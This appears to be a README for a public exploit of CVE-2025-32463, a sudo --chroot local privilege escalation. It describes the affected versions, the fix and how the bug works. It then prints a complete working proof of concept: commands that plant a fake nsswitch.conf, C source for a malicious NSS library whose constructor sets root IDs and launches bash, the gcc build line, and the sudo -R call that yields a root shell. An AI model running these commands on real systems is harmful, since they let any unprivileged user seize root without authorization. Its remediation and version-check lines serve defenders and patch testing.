CVE-2025-32463 — sudo "chwoot" chroot Local Privilege Escalation

Local privilege escalation to root in sudo via the --chroot (-R) option. Works for any local user, including accounts with no sudoers entry at all (e.g. www-data).

sudo 1.9.14 – 1.9.17 chroot()s into the user-supplied directory while the sudoers policy is still being evaluated — i.e. before the authorization decision. After that chroot(), sudo's NSS lookups read /etc/nsswitch.conf from inside the attacker's chroot, and glibc turns a bogus source name into dlopen("libnss_<name>.so.2") — loaded and its constructor executed as root.

Planting a fake nsswitch.conf (passwd: /woot1337) plus a malicious libnss_/woot1337.so.2 whose ELF constructor does setreuid(0) + exec("/bin/bash") yields a root shell. The exploit fires before the sudoers check, so the caller needs no sudo privileges.

• Affected: sudo 1.9.14 – 1.9.17
• Fixed: 1.9.17p1 (the 1.9.14 chroot change was reverted; the feature was deprecated)
• CWE: 829 (Inclusion of Functionality from an Untrusted Control Sphere)
• Impact: any local user → root. Deterministic logic bug (no memory corruption, no brute force).
• Disclosed by Rich Mirch (Stratascale), 2025.

Requirements

Python 3 standard library, a vulnerable setuid sudo (1.9.14–1.9.17), and gcc on the target (to build the tiny libnss module). Run as the low-priv user.

Usage

python3 exploit.py            # -> interactive root shell
python3 exploit.py -c 'id'    # run a single command as root

How it works

1. Stage a chroot dir with etc/nsswitch.conf = passwd: /woot1337 (+ a copy of /etc/group).
2. Compile libnss_/woot1337.so.2 — an ELF whose constructor (__attribute__((constructor))) does setreuid(0,0) and execl("/bin/bash", …).
3. sudo -R woot woot — sudo chroots into woot, resolves NSS, dlopens libnss_/woot1337.so.2 as root, and the constructor gives a root shell — before sudo ever checks whether the user is authorized.

Canonical manual PoC (Stratascale / pr0v3rbs "chwoot"):

cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot        # -> root

Checking a target

sudo --version | head -1   # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched

Remediation

Update sudo to ≥ 1.9.17p1. The chroot feature is deprecated and should not be relied upon.

Disclaimer

For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.